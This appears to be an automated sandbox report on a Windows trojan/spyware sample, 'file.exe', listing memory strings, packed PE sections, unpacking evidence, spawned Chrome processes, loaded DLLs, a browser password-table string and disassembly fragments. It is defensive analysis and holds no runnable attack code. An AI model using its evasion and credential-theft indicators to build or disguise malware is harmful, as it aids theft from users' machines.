Source: file.exe, 00000000.00000003.2381077838.0000000005882000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2384426609.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380123024.0000000005879000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2387129505.00000000058E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378911968.000000000586A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380520515.0000000005873000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2383129185.00000000058A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391936355.00000000057DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2381880802.0000000005896000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380283540.000000000587B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382216550.0000000005895000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2384698390.00000000057D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2385984594.00000000059D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382666817.00000000058AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2387829509.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378832092.00000000057D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2381161319.0000000005938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2381970210.00000000057D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2387245443.00000000059FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391234992.0000000005919000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386787111.00000000057D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2381245611.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378439034.0000000005435000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389933493.0000000005A3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390289738.0000000005907000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382128161.00000000057D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2420390858.0000000005333000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2387710611.00000000057DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2383339555.00000000058A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386095518.00000000057D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386229850.00000000058D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2388318757.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2388069648.00000000057DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2388193990.00000000058FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2387594099.0000000005A09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2420181670.00000000053EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386674507.00000000059DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386436139.00000000057D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2383830940.00000000057DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389481593.0000000005908000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378755201.0000000005437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382040438.0000000005898000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380931281.0000000005885000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2379958992.000000000590A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378599064.0000000005435000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2385874424.00000000058D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390532949.0000000005A45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2388746710.0000000005A2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380996289.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390107449.00000000057D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2385376860.00000000058C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382286561.00000000057DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390736016.00000000057D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2420390858.0000000005345000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2387947982.0000000005A21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390889040.0000000005921000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380204618.00000000057DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2387364304.00000000057DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380683578.00000000057D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380361629.0000000005921000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382761003.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386900566.00000000058EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392097635.0000000005925000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391406251.00000000057D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2383439656.0000000005981000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2420217556.000000000535F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2385266794.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2384948529.0000000005997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2384060814.00000000057D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2385158872.00000000058D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2387478983.00000000058EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391066218.00000000057D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391583363.000000000591A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380763734.0000000005883000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2385055222.00000000057D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386558696.00000000058D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378518212.00000000057D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9975129757785467
Source: file.exe	Static PE information: Section: kcjzlwkt ZLIB complexity 0.9946914618549823

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@9/5

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2167378468.0000000005368000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2190448124.000000000535F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167628605.000000000534A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1896,i,9604878912781494424,10388162517610597454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1976,i,6169164683179771580,6537590639377131950,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1896,i,9604878912781494424,10388162517610597454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1976,i,6169164683179771580,6537590639377131950,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1890304 > 1048576

Source: file.exe

Static PE information: Raw size of kcjzlwkt is bigger than: 0x100000 < 0x1a5800

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kcjzlwkt:EW;cwbfsuvm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kcjzlwkt:EW;cwbfsuvm:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1da749 should be: 0x1d5fe1

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: kcjzlwkt
Source: file.exe	Static PE information: section name: cwbfsuvm
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D625D6 push 3E58D652h; mov dword ptr [esp], ecx	0_2_05D63C3C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D64DD8 push 750FD3F3h; mov dword ptr [esp], esi	0_2_05D64DDD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D605EA push edx; mov dword ptr [esp], ebx	0_2_05D605F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D5ED91 push edx; mov dword ptr [esp], eax	0_2_05D5F88E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D60DB7 push esi; mov dword ptr [esp], eax	0_2_05D60DBE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D60DB7 push 6309229Dh; mov dword ptr [esp], ebp	0_2_05D611E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D60DB7 push 1CF6864Ah; mov dword ptr [esp], ebx	0_2_05D611F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D60DB7 push edx; mov dword ptr [esp], edi	0_2_05D611F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D5C553 push ebp; ret	0_2_05D5C565
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D62D4E push ecx; mov dword ptr [esp], edi	0_2_05D62D4F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D5F57E push ebx; mov dword ptr [esp], esp	0_2_05D5F780
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D5F57E push 7766FB56h; mov dword ptr [esp], eax	0_2_05D5F82C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D5E56C push 7766FB56h; mov dword ptr [esp], eax	0_2_05D5F82C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6251D push eax; mov dword ptr [esp], ebp	0_2_05D6251E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D5C50D push ebp; mov dword ptr [esp], ebx	0_2_05D5C514
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D60D20 push 1E864426h; mov dword ptr [esp], ebx	0_2_05D60D25
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D5D4F9 push 32AABF41h; mov dword ptr [esp], edi	0_2_05D5D50B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D60CE7 push ebp; mov dword ptr [esp], eax	0_2_05D64A86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D63C93 push 2FB63D11h; mov dword ptr [esp], edx	0_2_05D63CAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D63C93 push ebp; mov dword ptr [esp], eax	0_2_05D63CC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D63C93 push ecx; mov dword ptr [esp], edx	0_2_05D64EED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D63C93 push 7CB9CB00h; mov dword ptr [esp], eax	0_2_05D64F0B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6348F push ebp; mov dword ptr [esp], ecx	0_2_05D63490
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D62C89 push 4B3468BDh; mov dword ptr [esp], ecx	0_2_05D62C8E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D60C53 push eax; mov dword ptr [esp], edi	0_2_05D6240C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D60C53 push esi; mov dword ptr [esp], 6FF96C2Eh	0_2_05D6376C
